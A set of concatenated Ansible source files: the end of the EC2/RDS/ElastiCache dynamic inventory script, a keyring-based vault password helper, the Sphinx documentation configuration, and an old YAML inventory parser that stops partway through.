            self.inventory[instance.id] = [hostname]
            if self.nested_groups:
                self.push_group(self.inventory, 'instances', instance.id)

        # Inventory: Group by region
        if self.group_by_region:
            self.push(self.inventory, region, hostname)
            if self.nested_groups:
                self.push_group(self.inventory, 'regions', region)

        # Inventory: Group by availability zone
        if self.group_by_availability_zone:
            self.push(self.inventory, instance.availability_zone, hostname)
            if self.nested_groups:
                if self.group_by_region:
                    self.push_group(self.inventory, region, instance.availability_zone)
                self.push_group(self.inventory, 'zones', instance.availability_zone)

        # Inventory: Group by instance type
        if self.group_by_instance_type:
            type_name = self.to_safe('type_' + instance.instance_class)
            self.push(self.inventory, type_name, hostname)
            if self.nested_groups:
                self.push_group(self.inventory, 'types', type_name)

        # Inventory: Group by VPC
        if self.group_by_vpc_id and instance.subnet_group and instance.subnet_group.vpc_id:
            vpc_id_name = self.to_safe('vpc_id_' + instance.subnet_group.vpc_id)
            self.push(self.inventory, vpc_id_name, hostname)
            if self.nested_groups:
                self.push_group(self.inventory, 'vpcs', vpc_id_name)

        # Inventory: Group by security group
        if self.group_by_security_group:
            try:
                if instance.security_group:
                    key = self.to_safe("security_group_" + instance.security_group.name)
                    self.push(self.inventory, key, hostname)
                    if self.nested_groups:
                        self.push_group(self.inventory, 'security_groups', key)

            except AttributeError:
                self.fail_with_error('\n'.join(['Package boto seems a bit older.',
                                            'Please upgrade boto >= 2.3.0.']))


        # Inventory: Group by engine
        if self.group_by_rds_engine:
            self.push(self.inventory, self.to_safe("rds_" + instance.engine), hostname)
            if self.nested_groups:
                self.push_group(self.inventory, 'rds_engines', self.to_safe("rds_" + instance.engine))

        # Inventory: Group by parameter group
        if self.group_by_rds_parameter_group:
            self.push(self.inventory, self.to_safe("rds_parameter_group_" + instance.parameter_group.name), hostname)
            if self.nested_groups:
                self.push_group(self.inventory, 'rds_parameter_groups', self.to_safe("rds_parameter_group_" + instance.parameter_group.name))

        # Global Tag: all RDS instances
        self.push(self.inventory, 'rds', hostname)

        self.inventory["_meta"]["hostvars"][hostname] = self.get_host_info_dict_from_instance(instance)
        self.inventory["_meta"]["hostvars"][hostname]['ansible_ssh_host'] = dest

    def add_elasticache_cluster(self, cluster, region):
        ''' Adds an ElastiCache cluster to the inventory and index, as long as
        it's nodes are addressable '''

        # Only want available clusters unless all_elasticache_clusters is True
        if not self.all_elasticache_clusters and cluster['CacheClusterStatus'] != 'available':
            return

        # Select the best destination address
        if 'ConfigurationEndpoint' in cluster and cluster['ConfigurationEndpoint']:
            # Memcached cluster
            dest = cluster['ConfigurationEndpoint']['Address']
            is_redis = False
        else:
            # Redis sigle node cluster
            # Because all Redis clusters are single nodes, we'll merge the
            # info from the cluster with info about the node
            dest = cluster['CacheNodes'][0]['Endpoint']['Address']
            is_redis = True

        if not dest:
            # Skip clusters we cannot address (e.g. private VPC subnet)
            return

        # Add to index
        self.index[dest] = [region, cluster['CacheClusterId']]

        # Inventory: Group by instance ID (always a group of 1)
        if self.group_by_instance_id:
            self.inventory[cluster['CacheClusterId']] = [dest]
            if self.nested_groups:
                self.push_group(self.inventory, 'instances', cluster['CacheClusterId'])

        # Inventory: Group by region
        if self.group_by_region and not is_redis:
            self.push(self.inventory, region, dest)
            if self.nested_groups:
                self.push_group(self.inventory, 'regions', region)

        # Inventory: Group by availability zone
        if self.group_by_availability_zone and not is_redis:
            self.push(self.inventory, cluster['PreferredAvailabilityZone'], dest)
            if self.nested_groups:
                if self.group_by_region:
                    self.push_group(self.inventory, region, cluster['PreferredAvailabilityZone'])
                self.push_group(self.inventory, 'zones', cluster['PreferredAvailabilityZone'])

        # Inventory: Group by node type
        if self.group_by_instance_type and not is_redis:
            type_name = self.to_safe('type_' + cluster['CacheNodeType'])
            self.push(self.inventory, type_name, dest)
            if self.nested_groups:
                self.push_group(self.inventory, 'types', type_name)

        # Inventory: Group by VPC (information not available in the current
        # AWS API version for ElastiCache)

        # Inventory: Group by security group
        if self.group_by_security_group and not is_redis:

            # Check for the existence of the 'SecurityGroups' key and also if
            # this key has some value. When the cluster is not placed in a SG
            # the query can return None here and cause an error.
            if 'SecurityGroups' in cluster and cluster['SecurityGroups'] is not None:
                for security_group in cluster['SecurityGroups']:
                    key = self.to_safe("security_group_" + security_group['SecurityGroupId'])
                    self.push(self.inventory, key, dest)
                    if self.nested_groups:
                        self.push_group(self.inventory, 'security_groups', key)

        # Inventory: Group by engine
        if self.group_by_elasticache_engine and not is_redis:
            self.push(self.inventory, self.to_safe("elasticache_" + cluster['Engine']), dest)
            if self.nested_groups:
                self.push_group(self.inventory, 'elasticache_engines', self.to_safe(cluster['Engine']))

        # Inventory: Group by parameter group
        if self.group_by_elasticache_parameter_group:
            self.push(self.inventory, self.to_safe("elasticache_parameter_group_" + cluster['CacheParameterGroup']['CacheParameterGroupName']), dest)
            if self.nested_groups:
                self.push_group(self.inventory, 'elasticache_parameter_groups', self.to_safe(cluster['CacheParameterGroup']['CacheParameterGroupName']))

        # Inventory: Group by replication group
        if self.group_by_elasticache_replication_group and 'ReplicationGroupId' in cluster and cluster['ReplicationGroupId']:
            self.push(self.inventory, self.to_safe("elasticache_replication_group_" + cluster['ReplicationGroupId']), dest)
            if self.nested_groups:
                self.push_group(self.inventory, 'elasticache_replication_groups', self.to_safe(cluster['ReplicationGroupId']))

        # Global Tag: all ElastiCache clusters
        self.push(self.inventory, 'elasticache_clusters', cluster['CacheClusterId'])

        host_info = self.get_host_info_dict_from_describe_dict(cluster)

        self.inventory["_meta"]["hostvars"][dest] = host_info

        # Add the nodes
        for node in cluster['CacheNodes']:
            self.add_elasticache_node(node, cluster, region)

    def add_elasticache_node(self, node, cluster, region):
        ''' Adds an ElastiCache node to the inventory and index, as long as
        it is addressable '''

        # Only want available nodes unless all_elasticache_nodes is True
        if not self.all_elasticache_nodes and node['CacheNodeStatus'] != 'available':
            return

        # Select the best destination address
        dest = node['Endpoint']['Address']

        if not dest:
            # Skip nodes we cannot address (e.g. private VPC subnet)
            return

        node_id = self.to_safe(cluster['CacheClusterId'] + '_' + node['CacheNodeId'])

        # Add to index
        self.index[dest] = [region, node_id]

        # Inventory: Group by node ID (always a group of 1)
        if self.group_by_instance_id:
            self.inventory[node_id] = [dest]
            if self.nested_groups:
                self.push_group(self.inventory, 'instances', node_id)

        # Inventory: Group by region
        if self.group_by_region:
            self.push(self.inventory, region, dest)
            if self.nested_groups:
                self.push_group(self.inventory, 'regions', region)

        # Inventory: Group by availability zone
        if self.group_by_availability_zone:
            self.push(self.inventory, cluster['PreferredAvailabilityZone'], dest)
            if self.nested_groups:
                if self.group_by_region:
                    self.push_group(self.inventory, region, cluster['PreferredAvailabilityZone'])
                self.push_group(self.inventory, 'zones', cluster['PreferredAvailabilityZone'])

        # Inventory: Group by node type
        if self.group_by_instance_type:
            type_name = self.to_safe('type_' + cluster['CacheNodeType'])
            self.push(self.inventory, type_name, dest)
            if self.nested_groups:
                self.push_group(self.inventory, 'types', type_name)

        # Inventory: Group by VPC (information not available in the current
        # AWS API version for ElastiCache)

        # Inventory: Group by security group
        if self.group_by_security_group:

            # Check for the existence of the 'SecurityGroups' key and also if
            # this key has some value. When the cluster is not placed in a SG
            # the query can return None here and cause an error.
            if 'SecurityGroups' in cluster and cluster['SecurityGroups'] is not None:
                for security_group in cluster['SecurityGroups']:
                    key = self.to_safe("security_group_" + security_group['SecurityGroupId'])
                    self.push(self.inventory, key, dest)
                    if self.nested_groups:
                        self.push_group(self.inventory, 'security_groups', key)

        # Inventory: Group by engine
        if self.group_by_elasticache_engine:
            self.push(self.inventory, self.to_safe("elasticache_" + cluster['Engine']), dest)
            if self.nested_groups:
                self.push_group(self.inventory, 'elasticache_engines', self.to_safe("elasticache_" + cluster['Engine']))

        # Inventory: Group by parameter group (done at cluster level)

        # Inventory: Group by replication group (done at cluster level)

        # Inventory: Group by ElastiCache Cluster
        if self.group_by_elasticache_cluster:
            self.push(self.inventory, self.to_safe("elasticache_cluster_" + cluster['CacheClusterId']), dest)

        # Global Tag: all ElastiCache nodes
        self.push(self.inventory, 'elasticache_nodes', dest)

        host_info = self.get_host_info_dict_from_describe_dict(node)

        if dest in self.inventory["_meta"]["hostvars"]:
            self.inventory["_meta"]["hostvars"][dest].update(host_info)
        else:
            self.inventory["_meta"]["hostvars"][dest] = host_info

    def add_elasticache_replication_group(self, replication_group, region):
        ''' Adds an ElastiCache replication group to the inventory and index '''

        # Only want available clusters unless all_elasticache_replication_groups is True
        if not self.all_elasticache_replication_groups and replication_group['Status'] != 'available':
            return

        # Select the best destination address (PrimaryEndpoint)
        dest = replication_group['NodeGroups'][0]['PrimaryEndpoint']['Address']

        if not dest:
            # Skip clusters we cannot address (e.g. private VPC subnet)
            return

        # Add to index
        self.index[dest] = [region, replication_group['ReplicationGroupId']]

        # Inventory: Group by ID (always a group of 1)
        if self.group_by_instance_id:
            self.inventory[replication_group['ReplicationGroupId']] = [dest]
            if self.nested_groups:
                self.push_group(self.inventory, 'instances', replication_group['ReplicationGroupId'])

        # Inventory: Group by region
        if self.group_by_region:
            self.push(self.inventory, region, dest)
            if self.nested_groups:
                self.push_group(self.inventory, 'regions', region)

        # Inventory: Group by availability zone (doesn't apply to replication groups)

        # Inventory: Group by node type (doesn't apply to replication groups)

        # Inventory: Group by VPC (information not available in the current
        # AWS API version for replication groups

        # Inventory: Group by security group (doesn't apply to replication groups)
        # Check this value in cluster level

        # Inventory: Group by engine (replication groups are always Redis)
        if self.group_by_elasticache_engine:
            self.push(self.inventory, 'elasticache_redis', dest)
            if self.nested_groups:
                self.push_group(self.inventory, 'elasticache_engines', 'redis')

        # Global Tag: all ElastiCache clusters
        self.push(self.inventory, 'elasticache_replication_groups', replication_group['ReplicationGroupId'])

        host_info = self.get_host_info_dict_from_describe_dict(replication_group)

        self.inventory["_meta"]["hostvars"][dest] = host_info

    def get_route53_records(self):
        ''' Get and store the map of resource records to domain names that
        point to them. '''

        r53_conn = route53.Route53Connection()
        all_zones = r53_conn.get_zones()

        route53_zones = [ zone for zone in all_zones if zone.name[:-1]
                          not in self.route53_excluded_zones ]

        self.route53_records = {}

        for zone in route53_zones:
            rrsets = r53_conn.get_all_rrsets(zone.id)

            for record_set in rrsets:
                record_name = record_set.name

                if record_name.endswith('.'):
                    record_name = record_name[:-1]

                for resource in record_set.resource_records:
                    self.route53_records.setdefault(resource, set())
                    self.route53_records[resource].add(record_name)


    def get_instance_route53_names(self, instance):
        ''' Check if an instance is referenced in the records we have from
        Route53. If it is, return the list of domain names pointing to said
        instance. If nothing points to it, return an empty list. '''

        instance_attributes = [ 'public_dns_name', 'private_dns_name',
                                'ip_address', 'private_ip_address' ]

        name_list = set()

        for attrib in instance_attributes:
            try:
                value = getattr(instance, attrib)
            except AttributeError:
                continue

            if value in self.route53_records:
                name_list.update(self.route53_records[value])

        return list(name_list)

    def get_host_info_dict_from_instance(self, instance):
        instance_vars = {}
        for key in vars(instance):
            value = getattr(instance, key)
            key = self.to_safe('ec2_' + key)

            # Handle complex types
            # state/previous_state changed to properties in boto in https://github.com/boto/boto/commit/a23c379837f698212252720d2af8dec0325c9518
            if key == 'ec2__state':
                instance_vars['ec2_state'] = instance.state or ''
                instance_vars['ec2_state_code'] = instance.state_code
            elif key == 'ec2__previous_state':
                instance_vars['ec2_previous_state'] = instance.previous_state or ''
                instance_vars['ec2_previous_state_code'] = instance.previous_state_code
            elif type(value) in [int, bool]:
                instance_vars[key] = value
            elif isinstance(value, six.string_types):
                instance_vars[key] = value.strip()
            elif type(value) == type(None):
                instance_vars[key] = ''
            elif key == 'ec2_region':
                instance_vars[key] = value.name
            elif key == 'ec2__placement':
                instance_vars['ec2_placement'] = value.zone
            elif key == 'ec2_tags':
                for k, v in value.items():
                    if self.expand_csv_tags and ',' in v:
                        v = map(lambda x: x.strip(), v.split(','))
                    key = self.to_safe('ec2_tag_' + k)
                    instance_vars[key] = v
            elif key == 'ec2_groups':
                group_ids = []
                group_names = []
                for group in value:
                    group_ids.append(group.id)
                    group_names.append(group.name)
                instance_vars["ec2_security_group_ids"] = ','.join([str(i) for i in group_ids])
                instance_vars["ec2_security_group_names"] = ','.join([str(i) for i in group_names])
            else:
                pass
                # TODO Product codes if someone finds them useful
                #print key
                #print type(value)
                #print value

        return instance_vars

    def get_host_info_dict_from_describe_dict(self, describe_dict):
        ''' Parses the dictionary returned by the API call into a flat list
            of parameters. This method should be used only when 'describe' is
            used directly because Boto doesn't provide specific classes. '''

        # I really don't agree with prefixing everything with 'ec2'
        # because EC2, RDS and ElastiCache are different services.
        # I'm just following the pattern used until now to not break any
        # compatibility.

        host_info = {}
        for key in describe_dict:
            value = describe_dict[key]
            key = self.to_safe('ec2_' + self.uncammelize(key))

            # Handle complex types

            # Target: Memcached Cache Clusters
            if key == 'ec2_configuration_endpoint' and value:
                host_info['ec2_configuration_endpoint_address'] = value['Address']
                host_info['ec2_configuration_endpoint_port'] = value['Port']

            # Target: Cache Nodes and Redis Cache Clusters (single node)
            if key == 'ec2_endpoint' and value:
                host_info['ec2_endpoint_address'] = value['Address']
                host_info['ec2_endpoint_port'] = value['Port']

            # Target: Redis Replication Groups
            if key == 'ec2_node_groups' and value:
                host_info['ec2_endpoint_address'] = value[0]['PrimaryEndpoint']['Address']
                host_info['ec2_endpoint_port'] = value[0]['PrimaryEndpoint']['Port']
                replica_count = 0
                for node in value[0]['NodeGroupMembers']:
                    if node['CurrentRole'] == 'primary':
                        host_info['ec2_primary_cluster_address'] = node['ReadEndpoint']['Address']
                        host_info['ec2_primary_cluster_port'] = node['ReadEndpoint']['Port']
                        host_info['ec2_primary_cluster_id'] = node['CacheClusterId']
                    elif node['CurrentRole'] == 'replica':
                        host_info['ec2_replica_cluster_address_'+ str(replica_count)] = node['ReadEndpoint']['Address']
                        host_info['ec2_replica_cluster_port_'+ str(replica_count)] = node['ReadEndpoint']['Port']
                        host_info['ec2_replica_cluster_id_'+ str(replica_count)] = node['CacheClusterId']
                        replica_count += 1

            # Target: Redis Replication Groups
            if key == 'ec2_member_clusters' and value:
                host_info['ec2_member_clusters'] = ','.join([str(i) for i in value])

            # Target: All Cache Clusters
            elif key == 'ec2_cache_parameter_group':
                host_info["ec2_cache_node_ids_to_reboot"] = ','.join([str(i) for i in value['CacheNodeIdsToReboot']])
                host_info['ec2_cache_parameter_group_name'] = value['CacheParameterGroupName']
                host_info['ec2_cache_parameter_apply_status'] = value['ParameterApplyStatus']

            # Target: Almost everything
            elif key == 'ec2_security_groups':

                # Skip if SecurityGroups is None
                # (it is possible to have the key defined but no value in it).
                if value is not None:
                    sg_ids = []
                    for sg in value:
                        sg_ids.append(sg['SecurityGroupId'])
                    host_info["ec2_security_group_ids"] = ','.join([str(i) for i in sg_ids])

            # Target: Everything
            # Preserve booleans and integers
            elif type(value) in [int, bool]:
                host_info[key] = value

            # Target: Everything
            # Sanitize string values
            elif isinstance(value, six.string_types):
                host_info[key] = value.strip()

            # Target: Everything
            # Replace None by an empty string
            elif type(value) == type(None):
                host_info[key] = ''

            else:
                # Remove non-processed complex types
                pass

        return host_info

    def get_host_info(self):
        ''' Get variables about a specific host '''

        if len(self.index) == 0:
            # Need to load index from cache
            self.load_index_from_cache()

        if not self.args.host in self.index:
            # try updating the cache
            self.do_api_calls_update_cache()
            if not self.args.host in self.index:
                # host might not exist anymore
                return self.json_format_dict({}, True)

        (region, instance_id) = self.index[self.args.host]

        instance = self.get_instance(region, instance_id)
        return self.json_format_dict(self.get_host_info_dict_from_instance(instance), True)

    def push(self, my_dict, key, element):
        ''' Push an element onto an array that may not have been defined in
        the dict '''
        group_info = my_dict.setdefault(key, [])
        if isinstance(group_info, dict):
            host_list = group_info.setdefault('hosts', [])
            host_list.append(element)
        else:
            group_info.append(element)

    def push_group(self, my_dict, key, element):
        ''' Push a group as a child of another group. '''
        parent_group = my_dict.setdefault(key, {})
        if not isinstance(parent_group, dict):
            parent_group = my_dict[key] = {'hosts': parent_group}
        child_groups = parent_group.setdefault('children', [])
        if element not in child_groups:
            child_groups.append(element)

    def get_inventory_from_cache(self):
        ''' Reads the inventory from the cache file and returns it as a JSON
        object '''

        cache = open(self.cache_path_cache, 'r')
        json_inventory = cache.read()
        return json_inventory


    def load_index_from_cache(self):
        ''' Reads the index from the cache file sets self.index '''

        cache = open(self.cache_path_index, 'r')
        json_index = cache.read()
        self.index = json.loads(json_index)


    def write_to_cache(self, data, filename):
        ''' Writes data in JSON format to a file '''

        json_data = self.json_format_dict(data, True)
        cache = open(filename, 'w')
        cache.write(json_data)
        cache.close()

    def uncammelize(self, key):
        temp = re.sub('(.)([A-Z][a-z]+)', r'\1_\2', key)
        return re.sub('([a-z0-9])([A-Z])', r'\1_\2', temp).lower()

    def to_safe(self, word):
        ''' Converts 'bad' characters in a string to underscores so they can be used as Ansible groups '''
        regex = "[^A-Za-z0-9\_"
        if not self.replace_dash_in_groups:
            regex += "\-"
        return re.sub(regex + "]", "_", word)

    def json_format_dict(self, data, pretty=False):
        ''' Converts a dict to a JSON object and dumps it as a formatted
        string '''

        if pretty:
            return json.dumps(data, sort_keys=True, indent=2)
        else:
            return json.dumps(data)


# Run the script
Ec2Inventory()






#!/usr/bin/env python
# -*- coding: utf-8 -*-
# (c) 2014, Matt Martz <matt@sivel.net>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
#
# Script to be used with vault_password_file or --vault-password-file
# to retrieve the vault password via your OSes native keyring application
#
# This script requires the ``keyring`` python module
#
# Add a [vault] section to your ansible.cfg file,
# the only option is 'username'. Example:
#
# [vault]
# username = 'ansible_vault'
#
# Additionally, it would be a good idea to configure vault_password_file in
# ansible.cfg
#
# [defaults]
# ...
# vault_password_file = /path/to/vault-keyring.py
# ...
#
# To set your password: python /path/to/vault-keyring.py set
#
# If you choose to not configure the path to vault_password_file in ansible.cfg
# your ansible-playbook command may look like:
#
# ansible-playbook --vault-password-file=/path/to/vault-keyring.py site.yml

import sys
import getpass
import keyring
import ConfigParser


import ansible.constants as C

def main():
    (parser,config_path)  = C.load_config_file()
    try:
        username = parser.get('vault', 'username')
    except ConfigParser.NoSectionError:
        sys.stderr.write('No [vault] section configured in config file: %s\n' % config_path)
        sys.exit(1)

    if len(sys.argv) == 2 and sys.argv[1] == 'set':
        password = getpass.getpass()
        confirm = getpass.getpass('Confirm password: ')
        if password == confirm:
            keyring.set_password('ansible', username, password)
        else:
            sys.stderr.write('Passwords do not match\n')
            sys.exit(1)
    else:
        sys.stdout.write('%s\n' % keyring.get_password('ansible', username))

    sys.exit(0)


if __name__ == '__main__':
    main()






# -*- coding: utf-8 -*-
#
# Ansible documentation build configuration file, created by
# sphinx-quickstart on Fri Jun  3 17:34:17 2016.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.

import sys
import os

# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
#sys.path.insert(0, os.path.abspath('../bin'))
sys.path.insert(0, os.path.abspath('../lib/ansible'))
import sphinx_rtd_theme
import alabaster

# -- General configuration ------------------------------------------------

# If your documentation needs a minimal Sphinx version, state it here.
#needs_sphinx = '1.0'

# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
    'sphinx.ext.autodoc',
    'sphinx.ext.napoleon',
    'sphinx.ext.todo',
    'sphinx.ext.viewcode',
    'sphinx.ext.graphviz',
    'sphinx.ext.inheritance_diagram',
    'alabaster',
]

#autodoc_default_flags = ['members', 'show-inheritance', 'inherited-members', 'undoc-members',]
autodoc_default_flags = ['members', 'show-inheritance', 'undoc-members',]
autoclass_content = 'both'
autodoc_member_order = 'bysource'
autodoc_mock_imports = ['xmltodict', 'winrm', 'redis', 'StricRedis']

# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']

# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
# source_suffix = ['.rst', '.md']
source_suffix = '.rst'

# The encoding of source files.
#source_encoding = 'utf-8-sig'

# The master toctree document.
master_doc = 'index'

# General information about the project.
project = u'Ansible'
copyright = u'2016, Red Hat'
author = u'Red Hat'

# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = u'2.2'
# The full version, including alpha/beta/rc tags.
release = u'1'

# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = None

# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'

# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ['_build']

# The reST default role (used for this markup: `text`) to use for all
# documents.
#default_role = None

# If true, '()' will be appended to :func: etc. cross-reference text.
add_function_parentheses = True

# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True

# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False

# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'

# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []

# If true, keep warnings as "system message" paragraphs in the built documents.
#keep_warnings = False

# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = True


# -- Options for HTML output ----------------------------------------------

# The theme to use for HTML and HTML Help pages.  See the documentation for
# a list of builtin themes.
#html_theme = 'alabaster'
#html_theme_path = ['../docsite/_themes']
#html_theme = 'srtd'
html_short_title = 'Ansible Documentation'

#html_theme = "sphinx_rtd_theme"
#html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]

html_theme_path = [alabaster.get_path()]
html_theme = 'alabaster'

# Theme options are theme-specific and customize the look and feel of a theme
# further.  For a list of options available for each theme, see the
# documentation.
#html_theme_options = {}

# Add any paths that contain custom themes here, relative to this directory.
#html_theme_path = []

# The name for this set of Sphinx documents.  If None, it defaults to
# "<project> v<release> documentation".
#html_title = None

# A shorter title for the navigation bar.  Default is the same as html_title.
#html_short_title = None

# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
#html_logo = None

# The name of an image file (relative to this directory) to use as a favicon of
# the docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = None

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']

# Add any extra paths that contain custom files (such as robots.txt or
# .htaccess) here, relative to this directory. These files are copied
# directly to the root of the documentation.
#html_extra_path = []

# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'

# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True

# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}

# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}

# If false, no module index is generated.
#html_domain_indices = True

# If false, no index is generated.
#html_use_index = True

# If true, the index is split into individual pages for each letter.
#html_split_index = False

# If true, links to the reST sources are added to the pages.
#html_show_sourcelink = True

# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
#html_show_sphinx = True

# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
#html_show_copyright = True

# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it.  The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''

# This is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = None

# Language to be used for generating the HTML full-text search index.
# Sphinx supports the following languages:
#   'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja'
#   'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr'
#html_search_language = 'en'

# A dictionary with options for the search language support, empty by default.
# Now only 'ja' uses this config value
#html_search_options = {'type': 'default'}

# The name of a javascript file (relative to the configuration directory) that
# implements a search results scorer. If empty, the default will be used.
#html_search_scorer = 'scorer.js'

# Output file base name for HTML help builder.
htmlhelp_basename = 'Ansibledoc'

# -- Options for LaTeX output ---------------------------------------------

latex_elements = {
# The paper size ('letterpaper' or 'a4paper').
#'papersize': 'letterpaper',

# The font size ('10pt', '11pt' or '12pt').
#'pointsize': '10pt',

# Additional stuff for the LaTeX preamble.
#'preamble': '',

# Latex figure (float) alignment
#'figure_align': 'htbp',
}

# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
#  author, documentclass [howto, manual, or own class]).
latex_documents = [
    (master_doc, 'Ansible.tex', u'Ansible Documentation',
     u'Red Hat', 'manual'),
]

# The name of an image file (relative to this directory) to place at the top of
# the title page.
#latex_logo = None

# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#latex_use_parts = False

# If true, show page references after internal links.
#latex_show_pagerefs = False

# If true, show URL addresses after external links.
#latex_show_urls = False

# Documents to append as an appendix to all manuals.
#latex_appendices = []

# If false, no module index is generated.
#latex_domain_indices = True


# -- Options for manual page output ---------------------------------------

# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
    (master_doc, 'ansible', u'Ansible Documentation',
     [author], 1)
]

# If true, show URL addresses after external links.
#man_show_urls = False


# -- Options for Texinfo output -------------------------------------------

# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
#  dir menu entry, description, category)
texinfo_documents = [
    (master_doc, 'Ansible', u'Ansible Documentation',
     author, 'Ansible', 'One line description of project.',
     'Miscellaneous'),
]

# Documents to append as an appendix to all manuals.
#texinfo_appendices = []

# If false, no module index is generated.
#texinfo_domain_indices = True

# How to display URL addresses: 'footnote', 'no', or 'inline'.
#texinfo_show_urls = 'footnote'

# If true, do not generate a @detailmenu in the "Top" node's menu.
#texinfo_no_detailmenu = False






# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

import ansible.constants as C
from ansible.inventory.host import Host
from ansible.inventory.group import Group
from ansible import errors
from ansible import utils
import os
import yaml
import sys
from six import iteritems

class InventoryParserYaml(object):
    ''' Host inventory parser for ansible '''

    def __init__(self, filename=C.DEFAULT_HOST_LIST):

        sys.stderr.write("WARNING: YAML inventory files are deprecated in 0.6 and will be removed in 0.7, to migrate" +
            " download and run https://github.com/ansible/ansible/blob/devel/examples/scripts/yaml_to_ini.py\n")

        fh = open(filename)
        data = fh.read()
        fh.close()
        self._hosts = {}
        self._parse(data)

    def _make_host(self, hostname):

        if hostname in self._hosts:
            return self._hosts[hostname]
        else:
            host = Host(hostname)
            self._hosts[hostname] = host
            return host

    # see file 'test/yaml_hosts' for syntax

    def _parse(self, data):
        # FIXME: refactor into subfunctions

        all = Group('all')

        ungrouped = Group('ungrouped')
        all.add_child_group(ungrouped)

        self.groups = dict(all=all, ungrouped=ungrouped)
        grouped_hosts = []

        yaml = utils.parse_yaml(data)

        # first add all groups
        for item in yaml:
            if type(item) == dict and 'group' in item:
                group = Group(item['group'])

                for subresult in item.get('hosts',[]):

                    if type(subresult) in [ str, unicode ]:
                        host = self._make_host(subresult)
                        group.add_host(host)
                        grouped_hosts.append(host)
                    elif type(subresult) == dict:
                        host = self._make_host(subresult['host'])
                        vars = subresult.get('vars',{})
                        if type(vars) == list:
                            for subitem in vars:
                                for (k,v) in subitem.items():
                                    host.set_variable(k,v)
                        elif type(vars) == dict:
                            for (k,v) in subresult.get('vars',{}).items():
                                host.set_variable(k,v)
                        else:
                            raise errors.AnsibleError("unexpected type for variable")
                        group.add_host(host)
                        grouped_hosts.append(host)

                vars = item.get('vars',{})
                if type(vars) == dict:
                    for (k,v) in item.get('vars',{}).items():
                        group.set_variable(k,v)
                elif type(vars) == list:
                    for subitem in vars:
                        if type(subitem) != dict:
                            raise errors.AnsibleError("expected a dictionary")
                        for (k,v) in subitem.items():
                            group.set_variable(k,v)

                self.groups[group.name] = group
                all.add_child_group(group)

        # add host definitions
        for item in yaml:
            if type(item) in [ str, unicode ]:
                host = self._make_host(item)
                if host not in grouped_hosts:
                    ungrouped.add_host(host)

            elif type(item) == dict and 'host' in item:
                host = self._make_host(item['host'])

                vars = item.get('vars', {})
                if type(vars)==list:
                    varlist, vars = vars, {}
                    for subitem in varlist:
                        vars.update(subitem)
                for (k,v) in vars.items():
                    host.set_variable(k,v)

                groups = item.get('groups', {})
                if type(groups) in [ str, unicode ]:
                    groups = [ groups ]
                if type(groups)==list:
                    for subitem in groups:
                        if subitem in self.groups:
                            group = self.groups[subitem]
                        else:
                            group = Group(subitem)
                            self.groups[group.name] = group
                            all.add_child_group(group)
                        group.add_host(host)
                        grouped_hosts.append(host)

                if host not in grouped_hosts:
                    ungrouped.add_host(host)

        # make sure ungrouped.hosts is the complement of grouped_hosts
